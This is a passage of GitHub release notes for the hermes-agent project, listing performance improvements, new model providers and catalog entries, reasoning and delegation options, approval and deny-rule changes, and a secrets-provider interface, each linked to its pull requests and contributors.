data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
